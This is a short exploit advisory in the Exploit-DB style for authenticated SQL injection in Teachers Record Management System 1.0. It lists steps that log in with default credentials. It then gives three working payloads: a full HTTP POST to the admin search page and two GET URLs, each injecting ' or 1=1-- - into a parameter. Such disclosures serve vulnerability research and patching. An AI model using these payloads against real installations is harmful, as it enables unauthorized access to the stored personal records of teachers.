Teachers Record Management System 1.0 - 'Multiple' SQL Injection (Authenticated)

# Exploit Title: Teachers Record Management System 1.0 – Multiple SQL Injection (Authenticated)
# Date: 05-10-2021
# Exploit Author: nhattruong
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/login.php
2. Login with default creds
3. Execute the payload

Payload #1:

POST /admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/search.php
Cookie: PHPSESSID=4c4g8dedr7omt9kp1j7d6v6fg0
Upgrade-Insecure-Requests: 1

searchdata=a' or 1=1-- -&search=

Payload #2:

http://local/admin/edit-subjects-detail.php?editid=a' or 1=1-- -

Payload #3:

http://local/admin/edit-teacher-detail.php?editid=a' or 1=1-- -